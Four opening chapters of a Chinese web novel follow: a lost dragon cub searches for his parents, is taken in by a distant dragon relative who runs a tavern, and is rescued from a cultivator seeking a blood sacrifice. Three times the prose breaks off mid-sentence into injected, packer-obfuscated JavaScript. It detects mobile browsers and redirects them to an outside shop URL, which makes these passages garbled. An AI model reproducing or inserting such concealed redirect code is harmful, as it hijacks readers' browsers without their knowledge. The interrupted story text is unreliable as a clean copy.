《龙崽被宿敌合养了》 1. 养崽第一天 寒夜已深,万族岛灯火通明。 “今年万族大会榜首,我看非它九霄宗莫属!上次龙虎榜夺魁就是洛尊者带队,这次肯定也能行!” “哟~他洛淮时算个什么东西?我们魔宫这次可是云少主出马,到时候打输了可别哭鼻子!” 两个喝多的修士一言不合在酒楼大堂打了起来,管事黑着脸搬出“关门送客”的牌子,踹飞闹事客人关门落锁。 整个飞仙楼万籁俱寂。 厨房,灶台旁凭空出现了一只小手,脏兮兮的还带着擦伤,手腕处隐没在水波纹似的空气里。 显而易见,手的主人是个还没成年的幼崽。 小手对上了灶台边热气腾腾的点心。突兀、奇怪,像是猎人用来欺骗懵懂猎物陷阱。 可淡粉色的桃花酥散发着幼崽绝对不会拒绝的甜香。 果不其然,小手试探着一点、一点凑近盘子,还时不时停下来左摇右晃,似乎在警惕着什么。 可点心没有丝毫异常。 但小手依旧乌速前进,最后快狠准地拿走了最上面一块! 又过了一会儿,似乎是确定点心没有问题,空气泛起涟漪,这次出现的是两只小手。 它们忙活着用衣襟拿走了所有点心,最后在玉盘里留下来一枚弯弯的指甲——像是什么动物褪下来的,圆润且毫无攻击力。 就在小手拿着点心准备退回藏身之处时,不远处,地面出现了一盘更加精致的点心。 让人更加无法拒绝的味道溢散开来。 拿、还是不拿? 直到第三盘点心出现,厨房里出现了一声咽口水似的“咕咚”声。 灶台前忽然多了个约莫四五岁的幼崽。 头发乱糟糟地罩在帽子下,小脸藏在同样破烂的衣服后,只露出一双乌黑透亮的眼睛,手略显紧张地在衣摆上擦了擦。 好香……好想吃。 自从吃完蛋壳后,这是洛云杳第一次闻到这么香的东西。 从未有过的食欲占据了幼崽的大脑,让他彻底放弃警惕,走到新出现的盘子旁边。 “昭昭吃一块儿……就吃一块儿。”幼崽咽了咽口水,眼睛亮晶晶的,从衣服里翻了翻再度掏出一枚指甲,小心翼翼放在了地面,这才抬起手—— 胸口一热,幼崽茫然抓了抓脖子上的“石头”吊坠:“珠珠、是你吗?你要提前睡醒了吗?” 可惜龙髓珠只是热了一下,就再没了反应。 但这一下让幼崽的脑袋清明不少,捂着嘴,羚羊般后退三步,远离了明显不对劲儿的点心。 有危险。 珠珠睡着了保护不了他,昭昭得保护好自己。 幼崽当即转身跑向灶台—— “站住。” 一道低沉的男声在厨房响起,声如洪钟,带着不可忽视的威压。 “吾乃龙神。汝为龙族,何故做出此等偷盗之事?” 龙、龙神? 洛云杳呆在了原地,捂着破烂的帽子下意识反驳:“昭昭没有偷东西!” “如今人赃俱获,你这条‘小坏龙’还有什么好狡辩的?” 龙神的声音比刚才轻快不少,就连威压也没那重了。 “昭昭不是小坏龙!昭昭拿了指甲换食物!”幼崽一愣,随即急切解释着,“珠珠说龙族浑身上下都是宝……指甲能代替灵珠。” “那你怎么确定酒楼的老板需要龙指甲?”声音又多了一丝玩味,“还有,你怎么会自己在这儿,你爹娘呢?” “我、我……”幼崽被问得不知所措,本能回答着,“我没有娘。” 他只有爹爹和父亲。 还在蛋里时,爹爹会温柔抚摸他的蛋壳,父亲会把他抱起来高高举起。 似乎是没得到想要的回答,声音换了个问法继续追问:“那就是有爹爹了?” 洛云杳没吭声,紧张地攥紧了衣角。 珠珠说外面觊觎落单龙崽的人一大堆,绝对绝对、不能轻易告诉陌生人自己的事情! “龙神”对他来说也是陌生人。 “乖崽崽,不要害怕我。”声音这回放柔了嗓子,“我是无所不能的龙神,问这些只是想帮你。” “只要告诉我你遇到了什么困难,我就能帮助你解决它。” 轻柔的嗓音像是裹了蜜糖的毒药,带着蛊惑人心的能力。 如果是个心智正常的成年人,或许会挣扎一下,可面对声音的是一只刚破壳没多久的龙崽。 他天真、善良、迟钝到几乎感觉不到恶意,甚至连传承记忆也残缺不全。 于是洛云杳在沉默里眼神愈发空洞,攥着衣角的手也松了下去。 他说:“我、昭昭是来找爹爹和父亲的,昭昭找了他们很久了……” 从出生到现在,六个月、一百八十多个日夜。 恍惚间窗外的树影似乎动了动,声音这次开口带上一丝玩味:“你就没想过,自己是被他们抛弃了?” 这句话像是戳到了幼崽的肺管子。 洛云杳刹那间挣脱了声音的催眠,变成了炸毛的刺猬大声喊着:“才没有!爹爹是在和昭昭玩捉迷藏!” “爹爹和父亲不可能抛弃昭昭!” 他还记得破壳前爹爹温柔的抚摸和颤抖的声音——“如果发现爹爹和父亲不见了,那是因为我们在和昭昭玩捉迷藏。” “昭昭乖,你一定要找到我们,继续做我们的宝宝。” 他也记得父亲在这句话之后,同样摸了摸他的蛋壳——“记住我们的气息,可别找错人了。” 但脑子里的东西没法拿出来给人看,幼崽只好气鼓鼓继续喊着:“你骗人,我不许你说他们的坏话!” 可心底还是涌出一股酸涩。明明破壳的时候见到满地枯草都没这么伤心,身边只有一个伴生法宝陪着的时候他也不会难过。 但只要去想到“被双亲抛弃”的可能,豆大的眼泪瞬间“吧嗒吧嗒”掉下来。 “砰”得一声,幼崽身后多出来一条肉乎乎的尾巴。 淡金色的鳞片鱼一样炸开,仿佛下一秒就要作为武器飞出去。 “噗——你这小不点真有意思。” 额头被人点了点,幼崽本能后退两步,抄起柴火挡在自己身前。 对面……是个身着白衣的清俊男人,可他的声音和“龙神”一模一样。 幼崽在龙神显灵的震惊下呆了半天,直到男人看着他笑出声才反应过来:“你、你是龙神?可是……” 传承记忆告诉他龙神在修真界没有肉身呀。 “错。”男人不紧不慢端起地面的点心,当着幼崽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478999|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面吃了一块儿。 “我当然不是龙神。我是这家酒楼的老板,今天假借龙神的名义……是为了抓偷吃东西的‘小毛贼’。” 三天前,厨房的老刘找上青禾,表情活像见了鬼。 “老板,这些天打烊后厨房总会莫名奇妙丢东西,但……”老刘说着,把手里指甲似的东西递了过去,“丢东西的地方多了这个。” 虽然断裂处参差不齐,青禾还是认出来这东西是龙的指甲。 真有意思,他的酒楼来了一只乳牙还没长齐的幼崽。 按理来说,万族岛不会冒出个独自一人,还没修为傍身的幼崽,更别说是一条龙崽。 龙族把每条幼崽看眼珠子似的护着,成年之前压根见不到他们出龙岛。 满腹狐疑的青禾打开神识,把酒楼所有地方找了个遍,还是找不到幼崽的藏身之处。 于是他藏在了树影里,等待着幼崽主动露出马脚。 整整三天,他才看见了那只鬼鬼祟祟的小手。 说完自己的来意,青禾好整以暇地等着幼崽的反应。 “老板”、“小毛贼”这些字眼,让幼崽愤怒的大脑彻底变成了浆糊。 洛云杳想和青禾继续强调爹爹和父亲没有抛弃自己,又想反驳自己不是偷东西,他明明拿了指甲交换。 幼崽变成了蘑菇,站在原地,艰难思考着自己到底该怎么做,甚至忘记了青禾的存在。 “你还有什么好说的吗?” 淡雅的草药馨香飘了过来,眉眼含笑的男人不知何时蹲到了他身前,托着下巴。 幼崽退无可退,下意识攥紧了吊坠。 青禾晃了晃手里的点心:“乖崽崽,啊——” 甜香涌入鼻腔,勾起了蠢蠢欲动的食欲。 幼崽咽了咽口水,在自己都没意识到的情况下张开了嘴巴。 馥郁香气的点心入口即化,就这么钻进了幼崽的肚子。 “好吃吗?” 洛云杳咂摸两下点点头,声音软乎乎的:“好吃。” “那就好。”青禾拍拍手,捏了捏幼崽同样软乎的脸颊,“这下你吃了我的点心还没给东西,我要把你留在我的酒楼打工。” 洛云杳:“不可以!我、我还有指甲能换……” 说着,幼崽又从小布包里翻出了一枚指甲。 “就凭这个?”青禾眯着眼睛拿起指甲,“小不点,我刚才就和你说过了。” “你怎么确定这家酒楼的老板……需要这种东西?” 话音刚落,男人头顶爆发出一阵青光。 幼崽在青光里看见了一对墨绿色的龙角。 壮硕、高大,带着不可忽略的威压,和他帽子底下又短又胖的龙角截然相反。 最重要的是,在龙角出现瞬间,沉寂已久的血脉顷刻沸腾,仿佛有什么寻觅许久的东西近在咫尺! 见幼崽瞪大眼睛满脸震惊,青禾散去龙角上的光晕,信心十足地等着幼崽跑过来,可怜兮兮地向他求饶。 的确跑过来了,甚至因为动作幅度太大露出了一张粉雕玉琢的小脸,尾巴甩来甩去晃成了小狗。 幼崽炮仗一样砸进了他怀里。 青禾稳稳接住,伪装的严肃被笑意打破,正想好好撸一把龙崽—— “爹爹!” 2. 养崽第二天 爹? 青禾大脑空白一瞬,立刻开始回忆自己是不是留下过什么风流债,或者是被仇家拿去了精血。 没有。 短短几秒,几乎把识海翻了个底朝天,青禾确定以及肯定,自己不可能莫名多了个孩子。 但仔细感受,他们之间,又的确有一股奇妙的联系…… “崽?你干嘛呢?” 尖细的声音如哑了的公鸡,打破厨房死一般的沉寂。 洛云杳兴奋得脸颊通红,撒开石化状态的男人,捏起龙髓珠:“珠珠,我找到爹爹了!” 奔腾的龙血叫嚣着,仿佛下一秒就要冲出灵台,再跑上十几里路。 是龙血共鸣,是爹爹! 龙髓珠:“……为什么不是父亲?” 幼崽兴奋的表情凝固在脸上,面露思考,然后对着男人试探着喊了一声:“父亲?” 青禾闭了闭眼,深吸一口气很认真的回答着:“虽然很想,但我真的不是你爹,也不是你父亲。” “可是我们有龙血共鸣啊!”洛云杳比划着,“传承记忆告诉我的。” 青禾眼神复杂:“可传承记忆还说了,只要祖宗是同一条龙,也有可能激发龙血共鸣。” 洛云杳不知道。 作为一条传承残缺的龙,他不知道的事情有一大堆,甚至学不会法术。 要不是有龙髓珠陪在他身边,他没准早就邪道被抓去炼丹了。 “可是……”他还想说什么,龙血陡然凉了下去,那股血脉带来的亲近感消失殆尽。 这让洛云杳愣在了原地,呆呆看向男人。 是青禾主动屏蔽了他们之间的联系。 “崽,他真不是你爹。”龙髓珠马后炮一般补充着,“龙族至亲的血脉共鸣会引发天地异象,他顶多算是你隔了不知道多少辈的叔叔。” 而这次的血脉共鸣,大概是因为一大一小几乎同时露出了一点原形。 是叔叔,不是爹爹。 幼崽这下听懂了,可心口却空落落的,眼泪像断了线的珠子滚落,原本晃悠着的尾巴也耷拉下去。 青禾默默掏出帕子给幼崽擦眼泪:“好了,再哭就变成小花猫了。” “你确定你爹他们在万族岛?可是龙族还没登岛。” 洛云杳扯着帕子边哭边擦鼻涕:“珠珠说、在的啊,昭昭就来了……” 青禾看向一言不发的龙髓珠。 龙髓珠:“看什么看!要不是天道屏蔽天机防止有人修改天柱排名,连带着寻亲法术也失效了,你以为我们稀罕在你这破酒楼待着!” 最重要的是它的灵力又花光了得休眠恢复,只能先找个有吃有喝的地方把崽藏起来。 青禾:“……” 他不和器灵一般见识。 倒是幼崽有些不好意思,掐住龙髓珠小声说:“叔叔……我不知道你也是龙不需要指甲,我能拿这个抵饭钱吗?等我赚到钱了再把它赎回来。” 粉色的晶体静静躺在幼崽手心,上面似乎还刻了什么东西。 青禾仔细一瞧,念道:“洛云杳?你的名字?” 幼崽点点头,有些舍不得。这是他蛋壳上镶嵌的,上面刻着他的名字,一直被他珍藏着放在心口,根本舍不得拿出去换东西。 可他现在只有这个能抵债了。 青禾拿起粉晶看了看,瞳孔微缩——居然是合体后期妖兽的内丹。 “这是你双亲留给你的?” 洛云杳“嗯”了一声,下一秒粉晶又回到了他的手里。 只见对面的男人神色极其复杂,揉了揉他的脑袋,语气认真:“天机会被屏蔽到万族大会开启,还有五天。” “你这几天先在我这酒楼待着,不许乱跑。” . 日子一眨眼就过了三天。 酒楼大堂,管事左眼算账,右眼盯着门口玩傀儡的幼崽。 原本灰扑扑的幼崽洗过澡,整个人变得白里透粉。头发被梳成了两个小揪揪,身上穿着绣楼定制的鹅黄色法衣,要多可爱有多可爱。 就是戴着个不太搭的虎头帽。 没过一会儿,幼崽蹦跳着跑了过来,手里还拿着拼好的傀儡。 “管事爷爷我拼好啦!”洛云杳晃了晃青蛙模样的“玩具”,头顶的揪揪也跟着一晃一晃的。 幼崽的眼睛又黑又亮,眼巴巴的看着自己,管事立马夸赞道:“少爷真厉害!” 洛云杳挠挠头:“叔叔呢?我今天怎么没看见他?” 管事:“老板去布置龙族驻地了,晚上才能回来。” “那好吧。”幼崽垂头丧气地离开了,搬走小马扎坐在门口。 这一幕完完整整落在了角落的老者眼中。 有生之年……居然真让他碰见了一只落单的龙崽。 要不是身上带着破障眼,他还真没法穿透幼崽身上层层结界看清那一对龙角。 黑煞老道激动的脸上的面皮都挂不住,露出一点满是脓包的本相。 他的血煞魔功只差最后一步“血祭灵童”,为了能让功法达到极致,生而金丹的龙崽就成了他最好的选择。 和他的功法相比,什么龙岛、什么飞仙楼全都不值一提。 “哈哈哈……哈哈——咳咳。” 诡异的笑声惹来幼崽的好奇。 洛云杳回头看了看,被往来的人群挡住视线,又把头转了回去,握着龙髓珠开始数天边的飞鸟。 厨房的清醒耗尽了龙髓珠好不容易恢复的能量,让它不得不陷入沉睡。 而身后的大堂,客人们又开始了新一轮的讨论。 “你们说这次万族大会哪家赢面最大?” “那当然是刀宗!谁不知道刀宗为了能赢,把秘宝都拿出来让人认主了。” “我可没听说,你从哪得来的假消息?” 众人吵闹半天,突然一道沉郁顿挫的男声插了进来。 “老夫倒是觉得,龙岛这次赢面最大。” 龙岛。 幼崽提取到了关键词,立马竖起耳朵仔细听着。 黑煞老道嘴角微微勾起,不动声色地走到了门边坐下:“老夫与龙君乃是旧识。听说他们这次召回了游历在外的天骄,这次万族大会势在必得。” 此话一出,大堂瞬间沸腾。 幼崽也把注意放在了慈眉善目的老者身上。 他是……龙的朋友? 珠珠说,能和龙当朋友的都是好人。 不过洛云杳依旧坐在小马扎上,时刻谨记“不能随便和陌生人说话”。 黑煞老道不慌不忙地拿出块儿鸡蛋大小的香料儿。 这是龙香,一种极受龙族喜爱的香料,千金难求,他也只有这么一块。 随着灵气摩擦,常人闻不到的香味儿溢散在空气里。 幼崽闻到了甜滋滋的香气,像是蜂蜜牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479000|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乳糕的味道,勾得他咽了咽口水,脑子也跟着蒙上了一层雾。 洛云杳走向老者,呆呆地站在原地。 “小友,你来找老夫有什么事啊?”老者笑着,慈祥的眉眼透着股诡异的危险。 幼崽没说话,死死盯着老者手里的“鸡蛋”,眼神逐渐空洞。 黑气从老者身后蔓延开来,逐渐形成了一层旁人看不透的结界。 见傀儡术已经顺着香味儿扎根,黑煞老道心中狂喜,但没离开飞仙楼,还不敢掉以轻心。 他对着幼崽伸手,语气温和:“好孩子,爷爷带你出去玩儿。” “出去”两个字似乎刺激到了幼崽,那双雾蒙蒙的眼睛闪过一丝清醒。 黑煞老道暗骂一声,拿出定魂幡晃了晃,幼崽眼里的光亮消失不见,微微发亮的吊坠也跟着暗淡无光。 稚嫩的小手搭上了老道枯瘦如柴的胳膊,踉跄跟在老人身后。 而大堂其他人依旧各行其事,谁也没发现幼崽被人带走,只有幼崽腰间平平无奇的玉佩闪过一道青光。 飞仙楼外是仙魁街,万族岛最华丽的一条长街,白天叫卖不断,夜晚灯火不绝。 如今正值华灯初上,气息混杂,真是逃跑的好时机。 可惜没等黑煞老道运起灵气,一股极其强大的气息逼近,黑煞老道脸色骤变。 等不到逃跑再炼化了。 只是条龙崽子而已,杀了便杀了,到时候魔功大成,还怕龙岛的人追杀? 这么想着,黑煞老道果断伸手掐住幼崽的脖子! 霎时间一道刺眼的金光从吊坠上爆发,龙髓珠气得发狂:“老、不、死、的!你敢欺负我家孩子——!” 胳膊粗的金龙钻出吊坠,缠住老人的脖子狠狠一勒! “咔嚓”一声,老人的身体软了下去,滑稽地瘫倒在地。金龙也面条一样掉到地面,一口吞下骨碌碌打滚的龙香。 “珠珠!”洛云杳恢复了意识,声音却堵在了喉咙里。 不只是声音,他的手脚也像是绑了沉甸甸的石头,只有眼睛还能动。 “崽……臭蛇给你的玉佩快捏——” 金龙消失不见,地面的老人却站了起来,眼球血红,状似疯魔。 黑煞老道拿出了暗红色的傀儡丝,缠上了幼崽的脖子:“白白浪费我一条命……小兔崽子,今天就是你的死期!” 老人狰狞的面孔在花灯下愈发凶神恶煞。 银丝压进了皮肉。 洛云杳哭不出声,突然觉得自己真的要死了。 他没有死在找爹爹和父亲的路上,而是要死在快要找到他们的时候。 要是……爹爹来救他就好了。 “快看!九霄宗的人登岛了!” 不远处爆发出一声惊呼。 半空,数百人御剑而行,队伍后方的修士法相齐开声势浩大,最夺目耀眼的要数队尾的人形法相。 身披清晖如月,远看尽显煌煌,万千银丝风吹而动,周身无数剑蕴蓄势待发,仿佛下一刻就要倾巢而出。 法相之下,青年银发青衣、凤眼薄唇,眉心还躺着一枚血红色的竖纹。漂亮的脸上没什么表情,似乎比身后的法相还不近人情。 那双淡金色的眼睛只是淡淡一瞥,顷刻锁定了长街里若隐若现的邪气。 “霁雨。” 薄如蝉翼的银色长剑出现在青年手里。 “斩——” 3. 养崽第三天 这一声“斩”轻飘飘的,似鸿毛吹落。 雪白长剑闻言而动,化作流光直直冲向仙魁街! “啊啊啊——” 灭绝人寰的惨叫突兀出现,又戛然而止。 众人齐刷刷远离声音发出地,又在看清后窃窃私语。 “这不是悬赏榜第五的黑煞老道吗?他怎么敢来万族岛?” “这还用猜,肯定是为了他那邪功。管他呢,这老畜生今天终于遭报应了!” 幸灾乐祸的笑声让地面一分为二的尸体显得十分滑稽,元婴躺在血泊里同样腰斩,虫豸般蠕动着,还没完全断气。 洛淮时捂着怀里幼崽的眼睛,将人稳稳抱在怀里。 很轻、很瘦,像是只孱弱的猫崽,腰间玉佩尽职尽责地散发着青光,把幼崽包裹成了一个球。 洛淮时认出玉佩是个护身符,就算自己不出手幼崽也不会出事,没看两眼便移开视线,捏了个法诀彻底掐死元婴。 长街的血迹也被法术清扫得一干二净,不过……怀里的幼崽似乎过于安静了。 洛淮时心跳不禁快了几分。 是被邪修下药了?还是被吓到了? 这般想着,他抬起捂着幼崽眼睛的手,不小心掀开了虎头帽。 又短又胖的龙角露了出来,洛淮时心中一惊,趁着没人发现又扣了回去。 龙岛的孩子成年前不是不会出岛吗? “道友,多谢相救。” 风尘仆仆的男人一把按住了他的肩膀,十分自然地想把幼崽接过去。 洛淮时闪身避开,仔细辨别着——渡劫圆满、气息清正,不仅是个成年龙族,气息还和幼崽身上的一脉相承。 依稀记得,这人似乎是对面酒楼的老板。 他点了点头,将幼崽递了过去:“举手之劳。” 【昭昭乖,你一定要找到我们,继续做我们的宝宝。】 是……爹爹的声音! 顷刻间,洛云杳心脏狂跳,身体里奔腾的热血也在附和着他的猜测,比见到青禾时要活跃一万倍,每一滴血都在叫嚣着—— 是爹爹! 可他动不了,连扭头都是奢望,更没法告诉爹爹自己在这儿。 熟悉的气息一点一点远离,洛云杳又想到着龙髓珠说的天地异象,期盼着异象出现爹爹能发现他,可什么也没有。 青年依旧托着他,把他往青禾的怀里送。 似乎这场共鸣只是他单方面的,对爹爹来说……他只是个陌生人。 “爹爹……” 幼崽猛地张开了嘴,用手指扒住了青年的衣袖! 浑身上下热乎乎的,似乎有什么力量从龙髓珠钻进了经脉。 就算依旧发不出声音,就算能动的手指只有短短三根,幼崽依旧死死抠着青年的衣褶。 再留一会儿……等他能开口说话就好了…… 伸出去的手接住了滚烫的眼泪,洛淮时被烫得呼吸一滞。 因为动作的关系,堆积在一起的法衣遮住了幼崽小半张脸,只能看见一双圆圆的、湿润的眼睛。 毫无预兆地,洛淮时的眼眶也跟着酸了起来。 为什么会……难过? 像是有什么东西狠狠揪住了他的心脏,他顾不得阵痛的识海,抬起手想给幼崽擦一擦眼泪—— “小祖宗你别哭啊,一会儿就不难受了。” 手根本没能碰到幼崽的脸,对面的男人掰开了幼崽的手指,彻底他接了过去。 “师侄,该去报到了。” 天空传来同门的呼唤,直到男人和幼崽走进酒楼,洛淮时才御剑回归队伍。 “师叔,您是头疾又犯了吗?” 徒孙暗戳戳的传音让他回过神来,洛淮时“嗯”了一声。 下方灯火通明的长街逐渐缩小,最后隐没在了云层间。 飞仙楼。 虽然黑煞老道死了,但他种下的傀儡术仍在。 青禾都快吓死了,作为一条后天跃龙门的青蛇,他给龙岛送信过去才知道,龙族已经一千年没有幼崽出生了。 这小东西要是真在自己身边出了什么事,他十个脑袋都不够那群疯子泄愤的。 哆嗦着催动灵力,替幼崽一点一点拔除邪术,因为过于紧张脸颊甚至浮出几片龙鳞。 好在时间不长,傀儡术没能侵入三魂七魄。 等到全部拔除,榻上的幼崽不见了,取而代之的是一条胖乎乎的小金龙。 龙吻短短的、龙角圆圆的,就连鳞片也呈现出奶呼呼的淡金色。 青禾呼吸一滞,蹲下身,轻喊了一声“崽崽”,小心翼翼伸出手,想碰一下幼崽的鳞片—— “爹爹!是爹爹!”幼崽发出一声震耳欲聋的大叫,然后腾空而起冲向木窗! “诶?!别跑啊你现在又飞不了多远!”青禾手忙脚乱,好不容易抓住龙崽才后知后觉,“什么?你说刚才那个是你爹?!” “快快快我带你……” 脚踩木窗的男人拎着龙崽又退回了顶楼。 洛云杳:“……?” 青禾抓着龙崽抛了抛,随手把龙崽放在茶桌上:“据我所知,救你那人原形是条白蛇,也没跃龙门,生不出你这么纯的金龙。” 洛云杳:“可是他的声音和爹爹一模一样!” 青禾清了清嗓子,顿时说出了和青年一样的声音:“声音代表不了什么。” “你们有血脉共鸣吗?” “有啊!”龙崽急得在桌子上团团转,又不太自信道,“可是爹爹、爹爹好像没有……” 按理来说,几乎不可能存在这种情况。 血脉共鸣是妖族的天赋,为的就是避免幼崽和双亲失散后和双亲擦肩而过。 青禾点了点龙崽的脑袋,“砰”得一声,龙崽变成了奶娃娃的模样。 仔细看下来,面前的小不点和那道清冷如月身影长得还真有七八分相似,特别是一双眼睛,如果变成金色简直可以说一模一样。 余光瞟到幼崽腰间闪闪发光的玉佩,男人脸上的表情瞬间凝固。 洛云杳戳了戳青禾的胳膊:“叔叔?” “这块儿玉佩谁给你的?”青禾脸色便秘。 洛云杳:“管事爷爷呀,他早上给我的,说能保护我。” 青禾不敢置信地闭了闭眼:“……” 这玩意还是他之前在秘境随手捡的,除了料子珍贵一点,能隔绝自身气息之外什么用也没有,就随手赏给了管事。 管事应该是看幼崽可爱,就把玉佩给了幼崽。 今天倒是……弄巧成拙了。 洛云杳挠挠头:“那我把玉佩还给管事爷爷?” 青禾:“给我吧,你爹认不出你就是因为它。” 洛云杳:“……!” 幼崽闻言忙把玉佩递了过去。 见男人又不说话,幼崽又问道:“叔叔,你认识我爹爹,那你能带我去找他吗?” 青禾一声不吭,蘸着茶水,在桌面写下了三个大字——“洛、淮、时”。 “你……你爹名为洛淮时,尊号太初,九霄宗第一百六十八代弟子,前任宗主亲传,身负长生剑骨、剑道通天,如今已是大乘初期修为。” “我暂时不能带你去找他。”青禾不敢直视幼崽满怀期待的眼睛,“龙岛的人正在敢来的路上,你得先见他们再去见你爹。” “为什么?”洛云杳反问着,拍了拍自己的胸脯,“昭昭也可以先见爹爹再去见龙岛的人啊。” 青禾不知道该怎么向洛云杳形容如今“幼崽”对龙族的重要性,更没法说他怀疑这场“寻亲”背后会不会存在什么阴谋,也无法确定洛淮时在里面扮演什么角色。 他没法赌送幼崽去九霄宗驻地会不会发生什么意外。 “乖崽崽,睡一觉吧,等睡醒了我就带你去找爹爹。” 洛云杳又听到了厨房里如梦似幻的声音,眼皮越来越沉、越来越…… 青禾把幼崽反倒床上盖好被子,对外道:“进来。” 管事应声而入。 “我要去继续检查龙族驻地。”青禾蹙着眉,“好生照看着,我的法术会让他睡过整个万族大会。” 管事“不小心”听见了屋内的对话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479001|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,知道自己给错了东西,闻言忙点头:“是,老板。” 没人注意到的地方,幼崽的眼皮轻微抽动,像是做了什么噩梦。 洛云杳的确做梦了。 这次的梦和之前的差不多,都是他被看不见脸的“爹爹”和“父亲”抱在怀里。 可梦的结尾不是温柔的抚摸,而是一声“再见”和远去的背影。 洛云杳被成功吓醒了,入眼是飞仙楼熟悉的装饰。 身边空荡荡的,外面还是黑天。 “崽?” 龙髓珠的呼唤传来,幼崽惊喜地捧起吊坠:“珠珠你没事啦!” “哼,那老王八怎么可能伤到我。”龙髓珠哼哼两声,又道,“崽,趁着那条臭蛇没回来,我带你去找你爹。” 打伤黑煞老道,虽然献祭了全部能量,也让龙髓珠吸收了龙香恢复能量,就是力量过于精纯让它被迫假寐。 不过魁街发生的一切,包括青禾阴了一手的操作都被它看在眼里。 没时间后悔贪吃的那一口了。 洛云杳开开心心“嗯”了一声,可瞧见自己身上青禾买的衣服,小脸顿时皱在了一起。 他才不要做乖崽崽,他要去找爹爹。 于是决定“变坏”的幼崽把房间翻了个遍,终于找到了自己登岛时穿的衣服换上。 龙髓珠催促着:“门外要来人了,崽你直接从窗户跳下去。” 管事的脚步声如在耳畔,来不及多想,幼崽顿时跑到窗边。 好在一楼的窗户不高不矮,起跳、翻窗、落地一气呵成。 门外正进行着花灯游街。 海市蜃楼般的鱼灯组成了长队,下方卖艺的海族人也露出了妖相。 为首的鲛人身着鲛绡,嘴里哼着轻盈的小调,鱼灯也跟着不停变幻着颜色。 幼崽一时看呆了眼,混在人群里也跟着拍手叫好。 他从破壳起就没见过这么美的灯笼。 可惜还没多看几眼,身后的飞仙楼传来一道尖叫,像是被人掐住脖子的狐狸。 吓出三条尾巴的管事连滚带爬,身后跟着一堆打手:“快找!找不到你们这群废物就提头去见老板!” “崽快跑!”龙髓珠急了,“找个没人的地方!” 法术瞬移需要几秒钟不能被打断,还会产生灵气波清扫周围一切活物。 混在人堆里太显眼了! 幼崽立马听话地顺着人流奔跑。 酒楼的打手都是黑熊精,体型又高大,就算是黑夜也能轻松辨别出他们的方位,所以很好躲。 借着龙髓珠遮掩气息,幼崽轻松跑到了队伍中间,马上就能溜进小巷。 “是龙影!龙岛的龙君们登岛了!” 不知道是谁喊了一声,人流逐渐凝固,幼崽也跟着身边的人抬头。 长夜里猛地多了数道姹紫嫣红的流光,飞到了顶点融合在了一起,炸开数道烟火。 一条足以笼罩整个万族岛的金龙虚影缓缓浮现。 有人认出金龙的身份,倒吸一口凉气:“龙岛这次怎么把龙神残影都请出来了?” 龙神? 洛云杳盯着空中的大家伙咽了咽口水,莫名激动,甚至想变回原形也跟着飞上天。 不过由于被青禾骗过一次,幼崽这回谨慎地问道:“珠珠,这个……是真的龙神吧?” 作为龙神留在修真界的遗物之一,龙髓珠已经激动到说不出话了,“呜哇”好几下才捋顺舌头:“真的!是假的我吃……咳咳,如假包换啊!” “咔嚓——” 天边猛地划过一道惊雷,原本阖眼的龙神残影,不知何时竟睁开了眼睛! “呼——” 残影不紧不慢吹了一口气,地面霎时间狂风四起,又朝着一点汇聚。 成为风暴中心的洛云杳大脑一片空白,下意识死死拽着帽子。 “滋啦——” 本就破烂的帽子彻底四分五裂,又短又胖的龙角露了出来,狂风也跟着停息。 仙魁街鸦雀无声。 龙族的幼崽怎么会在仙魁街当乞丐?! 4. 养崽第四天 身份暴露了。 然后呢?该怎么办? 几乎被整条街的人围着,这让洛云杳连跑都找不到路,更何况头顶还飘着龙神残影。 洛云杳:“珠珠,我们现在……还跑得掉吗?” 龙髓珠:“……跑不掉。” 谁能告诉它为什么龙神真的能显灵,这家伙不是应该只是个影子吗? “……尾巴动了啊啊啊,好可爱,我还是第一次见到活的龙崽。” 窃窃私语声钻进了幼崽的耳朵。 洛云杳:“……!” 尾巴、尾巴怎么露出来了? 幼崽顿时手忙脚乱地抱住乱甩的尾巴,因为过于紧张耳鳍又冒了出来,惹得人群里再度发出惊呼。 天边划过一道青光。 青禾抬手将幼崽护在身后:“看什么看?没见过小孩子吗?” 渡劫修士的威压一出,那些炙热的视线消失了,可人群并未散去。 虽然幼崽还在生气青禾迷晕他,但面对一群心思各异的陌生人,还是血脉相连的叔叔给他的安全感更强。 于是他扯住了青禾的袖子,躲在了男人身后。 下一刻,空地多了三道头顶龙角的身影。 中间的老人胡子花白,手里拿着龙头杖,左右各站着一男一女,是对长相一模一样的双生子。 老人落地后先是看了眼只露出半个脑袋的幼崽,又对青禾道:“幼崽我们先带走了,其他的等大会结束后再说。” 虽然这两句听不出什么内情,但围观众人全都松了一口气。 